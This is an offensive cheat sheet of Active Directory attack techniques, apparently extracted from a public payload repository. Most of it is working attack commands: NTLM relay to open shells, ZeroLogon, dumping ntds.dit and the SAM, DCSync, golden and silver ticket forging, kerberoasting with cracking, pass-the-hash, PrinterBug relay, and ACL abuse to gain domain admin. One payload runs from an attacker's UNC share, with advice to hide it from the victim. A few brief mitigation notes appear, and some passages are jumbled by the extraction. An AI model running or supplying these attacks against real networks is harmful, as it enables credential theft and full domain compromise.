Active Directory Attacks
Active Directory Attacks
Active Directory Attacks
Summary
• Active Directory Attacks
• Summary
• Tools
• Active Directory Recon
• Using BloodHound
• Using PowerView
• Using AD Module
• Most common paths to AD compromise
• MS14-068 (Microsoft Kerberos Checksum Validation Vulnerability)
• CVE-2020-1472 ZeroLogon
• Open Shares
• SCF and URL file attack against writeable share
• Passwords in SYSVOL & Group Policy Preferences
• Exploit Group Policy Objects GPO
• Find vulnerable GPO
• Abuse GPO with SharpGPOAbuse
• Abuse GPO with PowerGPOAbuse
• Abuse GPO with pyGPOAbuse
• Abuse GPO with PowerView
• Dumping AD Domain Credentials
• Using ndtsutil
• Using Vshadow
• Using vssadmin
• Using DiskShadow (a Windows signed binary)
• Using esentutl.exe
• Extract hashes from ntds.dit
• Alternatives - modules
• Using Mimikatz DCSync
• Using Mimikatz sekurlsa
• Password spraying
• Kerberos pre-auth bruteforcing
• Spray a pre-generated passwords list
• Spray passwords against the RDP service
• Password in AD User comment
• Reading LAPS Password
• Pass-the-Ticket Golden Tickets
• Using Mimikatz
• Using Meterpreter
• Using a ticket on Linux
• Pass-the-Ticket Silver Tickets
• Kerberoasting
• KRB_AS_REP Roasting
• Pass-the-Hash
• OverPass-the-Hash (pass the key)
• Using impacket
• Using Rubeus
• Capturing and cracking NTLMv2 hashes
• NTLMv2 hashes relaying
• MS08-068 NTLM reflection
• SMB Signing Disabled and IPv4
• SMB Signing Disabled and IPv6
• Drop the MIC
• Ghost Potato - CVE-2019-1384
• Dangerous Built-in Groups Usage
• Abusing Active Directory ACLs/ACEs
• GenericAll
• GenericWrite
• GenericWrite and Remote Connection Manager
• WriteDACL
• WriteOwner
• ReadLAPSPassword
• ReadGMSAPassword
• ForceChangePassword
• Trust relationship between domains
• Child Domain to Forest Compromise - SID Hijacking
• Forest to Forest Compromise - Trust Ticket
• Kerberos Unconstrained Delegation
• Kerberos Constrained Delegation
• Kerberos Resource Based Constrained Delegation
• Kerberos Bronze Bit Attack - CVE-2020-17049
• Relay delegation with mitm6
• PrivExchange attack
• PXE Boot image attack
• DSRM Credentials
• Impersonating Office 365 Users on Azure AD Connect
• Linux Active Directory
• CCACHE ticket reuse from /tmp
• CCACHE ticket reuse from keyring
• CCACHE ticket reuse from keytab
• Extract accounts from /etc/krb5.keytab
• References
Tools
• Impacket or the Windows version
• Responder
• InveighZero
• Mimikatz
• Ranger
• AdExplorer
• CrackMapExec
# use the latest release, CME is now a binary packaged will all its
dependencies
root@payload$ wget
https://github.com/byt3bl33d3r/CrackMapExec/releases/download/v5.0.1dev/
cme-ubuntu-latest.zip
• Mitm6
git clone https://github.com/fox-it/mitm6.git && cd mitm6
pip install .
mitm6 -d lab.local
ntlmrelayx.py -wh 192.168.218.129 -t smb://192.168.218.128/ -i
# -wh: Server hosting WPAD file (Attacker’s IP)
# -t: Target (You cannot relay credentials to the same device that you’re
spoofing)
# -i: open an interactive shell
ntlmrelayx.py -t ldaps://lab.local -wh attacker-wpad --delegate-access
• ADRecon
.\ADRecon.ps1 -DomainController MYAD.net -Credential MYAD\myuser
• Ping Castle
pingcastle.exe --healthcheck --server <DOMAIN_CONTROLLER_IP> --user
<USERNAME> --password <PASSWORD> --advanced-live --nullsession
pingcastle.exe --healthcheck --server domain.local
pingcastle.exe --graph --server domain.local
pingcastle.exe --scanner scanner_name --server domain.local
available scanners
are:aclcheck,antivirus,corruptADDatabase,foreignusers,laps_bitlocker,local
admin,ullsession,nullsession-trust,share,smb,spooler,startup
• Kerbrute
./kerbrute passwordspray -d <DOMAIN> <USERS.TXT> <PASSWORD>
• Rubeus
Rubeus.exe asktgt /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|
AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH>
[/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ptt] [/luid]
Rubeus.exe dump [/service:SERVICE] [/luid:LOGINID]
Rubeus.exe klist [/luid:LOGINID]
Rubeus.exe kerberoast [/spn:"blah/blah"] [/user:USER] [/domain:DOMAIN]
[/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."]
• AutomatedLab
New-LabDefinition -Name GettingStarted -DefaultVirtualizationEngine HyperV
Add-LabMachineDefinition -Name FirstServer -OperatingSystem 'Windows
Server 2016 SERVERSTANDARD'
Install-Lab
Show-LabDeploymentSummary
use BloodHound
# run the collector on the machine using SharpHound.exe
# https://github.com/BloodHoundAD/BloodHound/blob/master/Collectors/
SharpHound.exe
.\SharpHound.exe (from resources/Ingestor)
.\SharpHound.exe -c all -d active.htb --domaincontroller 10.10.10.100
.\SharpHound.exe -c all -d active.htb --LdapUser myuser --LdapPass mypass --
domaincontroller 10.10.10.100
.\SharpHound.exe -c all -d active.htb -SearchForest
.\SharpHound.exe --EncryptZip --ZipFilename export.zip
.\SharpHound.exe --CollectionMethod All --LDAPUser <UserName> --LDAPPass
<Password> --JSONFolder <PathToFile>
Then import the zip/json files into the Neo4J database and query them.
root@payload$ apt install bloodhound
You can add some custom queries like Bloodhound-Custom-Queries from @hausec. Replace the
customqueries.json file located at
/home/username/.config/bloodhound/customqueries.json or C:\Users\
USERNAME\AppData\Roaming\BloodHound\customqueries.json.
Using PowerView
• Get Current Domain: Get-NetDomain
#Will show us the policy configurations of the Domain about system access
or kerberos
(Get-DomainPolicy)."system access"
(Get-DomainPolicy)."kerberos policy"
#Returns all GPOs in a domain that modify local group memberships through
Restricted Groups or Group Policy Preferences
Get-DomainGPOLocalGroup | Select-Object GPODisplayName, GroupName
• Enumerate Shares
#Enumerate Domain Shares
Find-DomainShare
• Enum OUs:
Get-NetOU -FullData
Get-NetGPO -GPOname <The GUID of the GPO>
• Enum ACLs:
# Returns the ACLs associated with the specified account
Get-ObjectAcl -SamAccountName <AccountName> -ResolveGUIDs
Get-ObjectAcl -ADSprefix 'CN=Administrator, CN=Users' -Verbose
#Check the ACLs associated with a specified path (e.g smb share)
Get-PathAcl -Path "\\Path\Of\A\Share"
• User Hunting:
#Finds all machines on the current domain where the current user has local
admin access
Find-LocalAdminAccess -Verbose
Using AD Module
• Get Current Domain: Get-ADDomain
• Enum Other Domains: Get-ADDomain -Identity <Domain>
• Get Domain SID: Get-DomainSID
• Get Domain Controlers:
Get-ADDomainController
Get-ADDomainController -Identity <DomainName>
# loc
wmic useraccount get name,sid
Administrator S-1-5-21-3415849876-833628785-5197346142-500
Guest S-1-5-21-3415849876-833628785-5197346142-501
Administrator S-1-5-21-297520375-2634728305-5197346142-500
Guest S-1-5-21-297520375-2634728305-5197346142-501
krbtgt S-1-5-21-297520375-2634728305-5197346142-502
lambda S-1-5-21-297520375-2634728305-5197346142-1110
# powerview
Convert-NameToSid high-sec-corp.localkrbtgt
S-1-5-21-2941561648-383941485-1389968811-502
Doc: https://github.com/gentilkiwi/kekeo/wiki/ms14068
Generate a ticket with metasploit or pykek
Metasploit: auxiliary/admin/kerberos/ms14_068_kerberos_checksum
Name Current Setting Required
Description
---- --------------- --------
-----------
DOMAIN LABDOMAIN.LOCAL yes The Domain
(upper case) Ex: DEMO.LOCAL
PASSWORD P@ssw0rd yes The Domain
User password
RHOSTS 10.10.10.10 yes The target
address range or CIDR identifier
RPORT 88 yes The target
port
Timeout 10 yes The TCP
timeout to establish connection and read data
USER lambda yes The Domain
User
USER_SID S-1-5-21-297520375-2634728305-5197346142-1106 yes The Domain
User SID, Ex: S-1-5-21-1755879683-3641577184-3486455962-1000
CVE-2020-1472 ZeroLogon
White Paper from Secura : https://www.secura.com/pathtoimg.php?id=2055
Exploit steps from the white paper
1. Spoofing the client credential
2. Disabling signing and sealing
3. Spoofing a call
4. Changing a computer's AD password to null
5. From password change to domain admin
6. reset the computer's AD password in a proper way to avoid any Deny of Service
$ git clone https://github.com/dirkjanm/CVE-2020-1472.git
# Exploit the CVE and set the computer account's password to ""
lsadump::zerologon /target:DC01.LAB.LOCAL /account:DC01$ /exploit
Open Shares
smbmap -H 10.10.10.10 # null session
smbmap -H 10.10.10.10 -R # recursive listing
smbmap -H 10.10.10.10 -u invaliduser # guest smb session
smbmap -H 10.10.10.10 -d active.htb -u SVC_TGS -p GPPstillStandingStrong2k18
or
pth-smbclient -U "AD/ADMINISTRATOR%aad3b435b51404eeaad3b435b51404ee:2[...]A"
//192.168.10.100/Share
pth-smbclient -U "AD/ADMINISTRATOR%aad3b435b51404eeaad3b435b51404ee:2[...]A"
//192.168.10.100/C$
ls # list files
cd # move inside a folder
get # download files
put # replace a file
or
smbclient -I 10.10.10.100 -L ACTIVE -N -U ""
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
Replication Disk
SYSVOL Disk Logon server share
Users Disk
use Sharename # select a Sharename
cd Folder # move inside a folder
ls # list files
Mount a share
smbmount //X.X.X.X/c$ /mnt/remote/ -o username=user,password=pass,rw
sudo mount -t cifs -o username=<user>,password=<pass> //<IP>/Users folder
This attack also works with .url files and responder -I eth0 -v.
[InternetShortcut]
URL=whatever
WorkingDirectory=whatever
IconFile=\\192.168.1.29\%USERNAME%.icon
IconIndex=1
Decrypt a Group Policy Password found in SYSVOL (by 0x00C651E0), using the 32-byte AES key
provided by Microsoft in the MSDN - 2.2.1.1.4 Password Encryption
echo 'password_in_base64' | base64 -d | openssl enc -d -aes-256-cbc -K
4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -iv
0000000000000000
e.g:
echo '5OPdEKwZSf7dYAvLOe6RzRDtcvT/wCP8g5RqmAgjSso=' | base64 -d | openssl enc -d
-aes-256-cbc -K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b
-iv 0000000000000000
echo
'edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw
/NglVmQ' | base64 -d | openssl enc -d -aes-256-cbc -K
4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -iv
0000000000000000
Automate the SYSVOL and passwords research
• Metasploit modules to enumerate shares and credentials
scanner/smb/smb_enumshares
post/windows/gather/enum_shares
post/windows/gather/credentials/gpp
• Crackmapexec modules
cme smb 192.168.1.2 -u Administrator -H 89[...]9d -M gpp_autologin
cme smb 192.168.1.2 -u Administrator -H 89[...]9d -M gpp_password
Powersploit:
Get-NetGPO
Get-NetGPOGroup
Mitigations
• Install KB2962486 on every computer used to manage GPOs which prevents new
credentials from being placed in Group Policy Preferences.
• Delete existing GPP xml files in SYSVOL containing passwords.
• Don’t put passwords in files that are accessible by all authenticated users.
Domain members refresh group policy settings every 90 minutes by default but it can locally be
forced with the following command: gpupdate /force.
# Adding a localadmin
PS> Add-LocalAdmin -Identity 'Bobby' -GPOIdentity 'SuperSecureGPO'
Using ndtsutil
C:\>ntdsutil
ntdsutil: activate instance ntds
ntdsutil: ifm
ifm: create full c:\pentest
ifm: quit
ntdsutil: quit
or
ntdsutil "ac i ntds" "ifm" "create full c:\temp" q q
Using Vshadow
vssadmin create shadow /for=C :
Copy Shadow_Copy_Volume_Name\windows\ntds\ntds.dit c:\ntds.dit
Using vssadmin
vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\
ShadowCopy
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\
SYSTEM C:\ShadowCopy
then:
NOTE - must be executed from C:\Windows\System32
diskshadow.exe /s c:\diskshadow.txt
dir c:\exfil
reg.exe save hklm\system c:\exfil\system.bak
Using esentutl.exe
Copy/extract a locked file such as the AD Database
esentutl.exe /y /vss c:\windows\ntds\ntds.dit /d c:\folder\ntds.dit
PowerSploit module
Invoke-NinjaCopy --path c:\windows\NTDS\ntds.dit --verbose --localdestination
c:\ntds.dit
CrackMapExec module
cme smb 10.10.0.202 -u username -p password --ntds vss
cme smb 10.10.0.202 -u username -p password --ntds drsuapi #default
Read-Only Domain Controllers are not allowed to pull password data for users by default.
Password spraying
Password spraying refers to the attack method that takes a large number of usernames and loops
them with a single password.
The builtin Administrator account (RID:500) cannot be locked out of the system no
matter how many failed logon attempts it accumulates.
Kerberos pre-authentication errors are not logged in Active Directory with a normal
Logon failure event (4625), but rather with specific logs to Kerberos pre-authentication
failure (4771).
• Powerview
PS > Import-Module .\PowerView.ps1
PS > Get-DomainComputer COMPUTER -Properties ms-mcs-
AdmPwd,ComputerName,ms-mcs-AdmPwdExpirationTime
• ldapsearch
ldapsearch -x -h -D "@" -w -b "dc=<>,dc=<>,dc=<>"
"(&(objectCategory=computer)(ms-MCS-AdmPwd=*))" ms-MCS-AdmPwd`
• LAPSDumper - https://github.com/n00py/LAPSDumper
python laps.py -u user -p password -d domain.local
python laps.py -u user -p
e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c -d
domain.local -l dc01.domain.local
• Powershell AdmPwd.PS
foreach ($objResult in $colResults){$objComputer = $objResult.Properties;
$objComputer.name|where {$objcomputer.name -ne $env:computername}|%
{foreach-object {Get-AdmPwdPassword -ComputerName $_}}}
Pass-the-Ticket Golden Tickets
Forging a TGT require the krbtgt NTLM hash
The way to forge a Golden Ticket is very similar to the Silver Ticket one. The main
differences are that, in this case, no service SPN must be specified to ticketer.py, and the
krbtgt ntlm hash must be used.
Using Mimikatz
# Get info - Mimikatz
lsadump::dcsync /user:krbtgt
lsadump::lsa /inject /name:krbtgt
Using Meterpreter
# Get info - Meterpreter(kiwi)
dcsync_ntlm krbtgt
dcsync krbtgt
export KRB5CCNAME=/home/user/ticket.ccache
cat $KRB5CCNAME
# NOTE: You may need to comment the proxy_dns setting in the proxychains
configuration file
./psexec.py -k -no-pass -dc-ip 192.168.1.1 AD/[email protected]
If you need to swap ticket between Windows and Linux, you need to convert them with
ticket_converter or kekeo.
root@kali:ticket_converter$ python ticket_converter.py velociraptor.ccache
velociraptor.kirbi
Converting ccache => kirbi
root@kali:ticket_converter$ python ticket_converter.py velociraptor.kirbi
velociraptor.ccache
Converting kirbi => ccache
Mitigations:
• Hard to detect because they are legit TGT tickets
• Mimikatz generate a golden ticket with a life-span of 10 years
# Examples
mimikatz $ /kerberos::golden /domain:adsec.local /user:ANY /sid:S-1-5-21-
1423455951-1752654185-1824483205 /rc4:ceaxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
/target:DESKTOP-01.adsec.local /service:cifs /ptt
mimikatz $ kerberos::golden /domain:jurassic.park /sid:S-1-5-21-1339291983-
1349129144-367733775 /rc4:b18b4b218eccad1c223306ea1916885f /user:stegosaurus
/service:cifs /target:labwws02.jurassic.park
Service
Service Type Silver Attack
Tickets
wmic.exe /authority:"kerberos:DOMAIN\
HOST + DC01" /node:"DC01" process call create
WMI
RPCSS "cmd /c evil.exe"
HTTP + New-PSSESSION -NAME PSC -ComputerName
PowerShell Remoting DC01; Enter-PSSession -Name PSC
wsman
HTTP + New-PSSESSION -NAME PSC -ComputerName
WinRM DC01; Enter-PSSession -Name PSC
wsman
schtasks /create /s dc01 /SC WEEKLY /RU
Scheduled Tasks HOST "NT Authority\System" /IN "SCOM Agent
Health Check" /IR "C:/shell.ps1"
Windows File Share dir \\dc01\c$
CIFS
(CIFS)
LDAP operations LDAP lsadump::dcsync /dc:dc01
Service
Service Type Silver Attack
Tickets
including Mimikatz /domain:domain.local /user:krbtgt
DCSync
Windows Remote RPCSS +
Server Administration LDAP + /
Tools CIFS
Mitigations:
• Set the attribute "Account is Sensitive and Cannot be Delegated" to prevent lateral
movement with the generated ticket.
Kerberoasting
"A service principal name (SPN) is a unique identifier of a service instance. SPNs are
used by Kerberos authentication to associate a service instance with a service logon
account. " - MSDN
Any valid domain user can request a kerberos ticket (TGS) for any domain service with
GetUserSPNs. Once the ticket is received, password cracking can be done offline on the ticket to
attempt to break the password for whatever user the service is running as.
$ GetUserSPNs.py active.htb/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip
10.10.10.100 -request
$krb5tgs$23$*Administrator$ACTIVE.HTB$active/
CIFS~445*$424338c0a3c3af43c360c29c154b012c$c54c7be163ae6c323ae6b5fc45a1eacee2f49
03deec785cd689f4551e023775c7e7772fe85e3fb8374ca95534d72c971ba80e8b6d4ef3c3b8439d
c54031540133cbcbd5f7b39d622733d198eec594c0cd181ab4696a6ad12744d1ddd2d3e2c6dd33b4
daedbc9cae75e8ff2652c80421b0fa3a61ddf2cabeea462c44e0f6d9a6436717e0621bb4e0fe8bd3
cf36156b4b2f7b81d651f70baf34a0b3071858b5034b895c25a0d3c67044c849d5952c381a0078a8
6ae562810a93d9c7bcc8311255cc9eda35a9c4d4d43ff1cc29108056285c954f3c633332ff0cb0c9
c0f1896c792b247c8d25f5dd71802728fc99bb22709337b5596ab0e2045110b0b005b03351e9f71a
65b48e8259f6191ce95d4e5794846c61c3abccf0f5f72a8679fb0dc0777720f5551ad99c9c9ab095
5f85ee211d40b01fcaece7868960b2063923aa0f59e17b347f3308087707e95cad54b9df81797288
21cf54cb204c5c2e571d9a66c8ec40b090305aa32e90a90d25ea37be6d8f8a83c683a8b69d386f9e
db970596bc56fa02971f69c7e073b8de1213d9caa75ab652e5c5b99cadace9dd7d15d1d530309ea3
9ca1b7c6009ae3342796a6bdea084622ee95cbade437659e37363b848bad2186e3a9f7dec66e1e49
6db32d55eda8fb926f057996638646dcc662ed226788ddf36304dc70eaca91b26cb7180341f417fa
d91117ee10212c69423abd42769cbf891b51d736ffe474899eec8df64abef319d3c6dc379f2bfda3
3de7c3a1a50d6ece564d4559c77f560b7506fa2f1c9af7162f1247ea35706aafffde48b8cc48b1ec
8e99d99ac81dc02f55f43f9726d746383cd076e7199070ff8100846ba9dc2235e92d0c7dac1f33da
5fe7901e02f0566030d7c7e02535d6a300292a04e6c32d0d74d37679c2617750f5920d9c697a30c8
83519bc6b5a916eec354459c7f248c783bd79c436a7e8c463a8981a9e000d21c2d00c7e8468cff0a
b695cb3aa4f14f149d1fafb4d656bcd1f67b747fc4c2d648466a386774853db8d50c22df57e74708
5142f98f5f06191c243b9dbf671da64228364f058c7e2e53a80fdde7f6dc2f25459a09fb25837579
53247c222d64f49bc12d461d2e5aa572ceba2605d7eafd6031405ee422ac35cbf041b4fd28e58d87
1406e053d1a806de49056791646c175bf0d2aaa19f844bfc885520e19c391702be6ae61122fceac3
2b689764334908a4eaf7c69974a9519ebb068a15c087955fb402416bd184fd2
Then crack the ticket using the correct hashcat mode ($krb5tgs$23= etype 23)
Mode Description
13100 Kerberos 5 TGS-REP etype 23 (RC4)
19600 Kerberos 5 TGS-REP etype 17 (AES128-CTS-HMAC-SHA1-96)
19700 Kerberos 5 TGS-REP etype 18 (AES256-CTS-HMAC-SHA1-96)
./hashcat -m 13100 -a 0 kerberos_hashes.txt crackstation.txt
./john --wordlist=/opt/wordlists/rockyou.txt --fork=4 --format=krb5tgs
~/kerberos_hashes.txt
Mitigations:
• Have a very long password for your accounts with SPNs (> 32 characters)
• Make sure no users have SPNs
KRB_AS_REP Roasting
If a domain user does not have Kerberos preauthentication enabled, an AS-REP can be successfully
requested for the user, and a component of the structure can be cracked offline a la kerberoasting
Prerequisite:
• Accounts have to have DONT_REQ_PREAUTH (PowerView > Get-DomainUser
-PreauthNotRequired -Properties distinguishedname -Verbose)
C:\>git clone https://github.com/GhostPack/Rubeus#asreproast
C:\Rubeus>Rubeus.exe asreproast /user:TestOU3user /format:hashcat
/outfile:hashes.asreproast
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.4
[email protected]:858B6F645D9F9B57210292E5711E0...
(snip)...
# extract hashes
root@kali:impacket-examples$ python GetNPUsers.py jurassic.park/ -usersfile
usernames.txt -format hashcat -outputfile hashes.asreproast
root@kali:impacket-examples$ python GetNPUsers.py
jurassic.park/triceratops:Sh4rpH0rns -request -format hashcat -outputfile
hashes.asreproast
Mitigations:
• All accounts must have "Kerberos Pre-Authentication" enabled (Enabled by Default).
Pass-the-Hash
The types of hashes you can use with Pass-The-Hash are NT or NTLM hashes. Since Windows
Vista, attackers have been unable to pass-the-hash to local admin accounts that weren’t the built-in
RID 500.
use exploit/windows/smb/psexec
set RHOST 10.2.0.3
set SMBUser jarrieta
set SMBPass nastyCutt3r
# NOTE1: The password can be replaced by a hash to execute a `pass the hash`
attack.
# NOTE2: Require the full NTLM hash, you may need to add the "blank" LM
(aad3b435b51404eeaad3b435b51404ee)
set PAYLOAD windows/meterpreter/bind_tcp
run
shell
or with crackmapexec
cme smb 10.2.0.2 -u jarrieta -H
'aad3b435b51404eeaad3b435b51404ee:489a04c09a5debbc9b975356693e179d' -x "whoami"
also works with net range : cme smb 10.2.0.2/24 ...
or with psexec
proxychains python ./psexec.py [email protected] -
hashes :489a04c09a5debbc9b975356693e179d
You can extract the local SAM database to find the local administrator hash :
C:\> reg.exe save hklm\sam c:\temp\sam.save
C:\> reg.exe save hklm\security c:\temp\security.save
C:\> reg.exe save hklm\system c:\temp\system.save
$ secretsdump.py -sam sam.save -security security.save -system system.save LOCAL
Using impacket
root@kali:impacket-examples$ python ./getTGT.py -
hashes :1a59bd44fe5bec39c44c8cd3524dee lab.ropnop.com
root@kali:impacket-examples$ export
KRB5CCNAME=/root/impacket-examples/velociraptor.ccache
root@kali:impacket-examples$ python psexec.py
jurassic.park/[email protected] -k -no-pass
Using Rubeus
C:\Users\triceratops>.\Rubeus.exe asktgt /domain:jurassic.park
/user:velociraptor /rc4:2a3de7fe356ee524cc9f3d579f2e0aa7 /ptt
C:\Users\triceratops>.\PsExec.exe -accepteula \\labwws02.jurassic.park cmd
• https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS08-068
msf > use exploit/windows/smb/smb_relay
msf exploit(smb_relay) > show targets
1. Open the Responder.conf file and set the value of SMB and HTTP to Off.
[Responder Core]
; Servers to start
...
SMB = Off # Turn this off
HTTP = Off # Turn this off
2. Run python RunFinger.py -i IP_Range to detect machine with SMB
signing:disabled.
3. Run python Responder.py -I <interface_card> and python
MultiRelay.py -t <target_machine_IP> -u ALL
4. Also you can use ntlmrelayx to dump the SAM database of the targets in the list.
ntlmrelayx.py -tf targets.txt
5. ntlmrelayx can also act as a SOCK proxy with every compromised sessions.
$ ntlmrelayx.py -tf /tmp/targets.txt -socks -smb2support
[*] Servers started, waiting for connections
Type help for list of commands
ntlmrelayx> socks
Protocol Target Username Port
-------- -------------- ------------------------ ----
MSSQL 192.168.48.230 VULNERABLE/ADMINISTRATOR 1433
SMB 192.168.48.230 CONTOSO/NORMALUSER1 445
MSSQL 192.168.48.230 CONTOSO/NORMALUSER1 1433
Mitigations:
• Disable LLMNR via group policy
Open gpedit.msc and navigate to Computer Configuration > Administrative
Templates > Network > DNS Client > Turn off multicast name resolution and
set to Enabled
• Disable NBT-NS
This can be achieved by navigating through the GUI to Network card >
Properties > IPv4 > Advanced > WINS and then under "NetBIOS setting"
select Disable NetBIOS over TCP/IP
# DNS takeover via IPv6, mitm6 will request an IPv6 address via DHCPv6
mitm6 -i eth0 -d $domain
• Using any AD account, connect over SMB to a victim Exchange server, and trigger the
SpoolService bug. The attacker server will connect back to you over SMB, which can be
relayed with a modified version of ntlmrelayx to LDAP. Using the relayed LDAP
authentication, grant DCSync privileges to the attacker account. The attacker account can
now use DCSync to dump all password hashes in AD
TERM1> python printerbug.py
testsegment.local/[email protected] <attacker
ip/hostname>
TERM2> ntlmrelayx.py --remove-mic --escalate-user ntu -t
ldap://s2016dc.testsegment.local -smb2support
TERM1> secretsdump.py testsegment/[email protected] -just-dc
• Using any AD account, connect over SMB to the victim server, and trigger the SpoolService
bug. The attacker server will connect back to you over SMB, which can be relayed with a
modified version of ntlmrelayx to LDAP. Using the relayed LDAP authentication, grant
Resource Based Constrained Delegation privileges for the victim server to a computer
account under the control of the attacker. The attacker can now authenticate as any user on
the victim server.
# create a new machine account
TERM1> ntlmrelayx.py -t ldaps://rlt-dc.relaytest.local --remove-mic --
delegate-access -smb2support
TERM2> python printerbug.py relaytest.local/testuser@second-dc-server
10.0.2.6
TERM1> getST.py -spn host/second-dc-server.local
'relaytest.local/MACHINE$:PASSWORD' -impersonate DOMAIN_ADMIN_USER_NAME
AdminSDHolder Abuse
The Access Control List (ACL) of the AdminSDHolder object is used as a template to
copy permissions to all "protected groups" in Active Directory and their members.
Protected groups include privileged groups such as Domain Admins, Administrators,
Enterprise Admins, and Schema Admins.
If you modify the permissions of AdminSDHolder, that permission template will be pushed out to
all protected accounts automatically by SDProp (in an hour). E.g: if someone tries to delete this user
from the Domain Admins in an hour or less, the user will be back in the group.
# Add a user to the AdminSDHolder group:
Add-DomainObjectAcl -TargetIdentity
'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -PrincipalIdentity matt -Rights
All
GenericAll
• GenericAll on User : We can reset user's password without knowing the current password
• GenericAll on Group : Effectively, this allows us to add ourselves (the user spotless) to the
Domain Admin group : net group "domain admins" spotless /add
/domain
GenericAll/GenericWrite we can set a SPN on a target account, request a TGS, then grab its hash
and kerberoast it.
# using PowerView
# Check for interesting permissions on accounts:
Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentinyReferenceName -match "RDPUsers"}
GenericWrite
• Reset another user's password
# https://github.com/EmpireProject/Empire/blob/master/data/module_source/
situational_awareness/network/powerview.ps1
$user = 'DOMAIN\user1';
$pass= ConvertTo-SecureString 'user1pwd' -AsPlainText -Force;
$creds = New-Object System.Management.Automation.PSCredential $user,
$pass;
$newpass = ConvertTo-SecureString 'newsecretpass' -AsPlainText -Force;
Set-DomainUserPassword -Identity 'DOMAIN\user2' -AccountPassword $newpass
-Credential $creds;
This tab includes settings that, among other things, can be used to change what program
is started when a user connects over the Remote Desktop Protocol (RDP) to a TS/RDSH
in place of the normal graphical environment. The settings in the ‘Starting program’
field basically function like a windows shortcut, allowing you to supply either a local or
remote (UNC) path to an executable which is to be started upon connecting to the
remote host. During the logon process these values will be queried by the RCM process
and run whatever executable is defined. - https://sensepost.com/blog/2020/ace-to-rce/
The RCM is only active on Terminal Servers/Remote Desktop Session Hosts. The RCM has
also been disabled on recent version of Windows (>2016), it requires a registry change to re-enable.
$UserObject = ([ADSI]("LDAP://CN=User,OU=Users,DC=ad,DC=domain,DC=tld"))
$UserObject.TerminalServicesInitialProgram = "\\1.2.3.4\share\file.exe"
$UserObject.TerminalServicesWorkDirectory = "C:\"
$UserObject.SetInfo()
NOTE: To not alert the user the payload should hide its own process window and spawn the normal
graphical environment.
WriteDACL
To abuse WriteDacl to a domain object, you may grant yourself the DcSync privileges. It is possible
to add any given account as a replication partner of the domain by applying the following extended
rights Replicating Directory Changes/Replicating Directory Changes All. Invoke-ACLPwn is a tool
that automates the discovery and pwnage of ACLs in Active Directory that are unsafe configured :
./Invoke-ACL.ps1 -SharpHoundLocation .\sharphound.exe -
mimiKatzLocation .\mimikatz.exe -Username 'user1' -Domain
'domain.local' -Password 'Welcome01!'
• WriteDACL on Domain
# Give DCSync right to the principal identity
Import-Module .\PowerView.ps1
$SecPassword = ConvertTo-SecureString 'user1pwd' -AsPlainText -Force
$Cred = New-Object
System.Management.Automation.PSCredential('DOMAIN.LOCAL\user1',
$SecPassword)
Add-DomainObjectAcl -Credential $Cred -TargetIdentity 'DC=domain,DC=local'
-Rights DCSync -PrincipalIdentity user2 -Verbose -Domain domain.local
• WriteDACL on Group
Add-DomainObjectAcl -TargetIdentity "INTERESTING_GROUP" -Rights
WriteMembers -PrincipalIdentity User1
net group "INTERESTING_GROUP" User1 /add /domain
WriteOwner
An attacker can update the owner of the target object. Once the object owner has been changed to a
principal the attacker controls, the attacker may manipulate the object any way they see fit. This can
be achieved with Set-DomainObjectOwner (PowerView module).
Set-DomainObjectOwner -Identity 'target_object' -OwnerIdentity
'controlled_principal'
This ACE can be abused for an Immediate Scheduled Task attack, or for adding a user to the local
admin group.
ReadLAPSPassword
An attacker can read the LAPS password of the computer account this ACE applies to. This can be
achieved with the Active Directory PowerShell module. Detail of the exploitation can be found in
the Reading LAPS Password section.
Get-ADComputer -filter {ms-mcs-admpwdexpirationtime -like '*'} -prop 'ms-mcs-
admpwd','ms-mcs-admpwdexpirationtime'
ReadGMSAPassword
An attacker can read the GMSA password of the account this ACE applies to. This can be achieved
with the Active Directory and DSInternals PowerShell modules.
# Save the blob to a variable
$gmsa = Get-ADServiceAccount -Identity 'SQL_HQ_Primary' -Properties 'msDS-
ManagedPassword'
$mp = $gmsa.'msDS-ManagedPassword'
ForceChangePassword
An attacker can change the password of the user this ACE applies to. This can be achieved with Set-
DomainUserPassword (PowerView module).
$NewPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
Set-DomainUserPassword -Identity 'TargetUser' -AccountPassword $NewPassword
or
([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTr
ustRelationships()
# with Impacket
lookupsid.py domain/user:[email protected]
lsadump::trust /patch
Inject the TGS file and access the targeted service with the spoofed rights.
kirbikator lsa .\ticket.kirbi
ls \\machine.domain.local\c$
Find delegation
Check the TrustedForDelegation property.
# From https://github.com/samratashok/ADModule
PS> Get-ADComputer -Filter {TrustedForDelegation -eq $True}
or
SpoolService status
Check if the spool service is running on the remote host
ls \\dc01\pipe\spoolss
python rpcdump.py DOMAIN/user:[email protected]
# From https://github.com/leechristensen/SpoolSample
.\SpoolSample.exe VICTIM-DC-NAME UNCONSTRAINED-SERVER-DC-NAME
.\SpoolSample.exe DC01.HACKER.LAB HELPDESK.HACKER.LAB
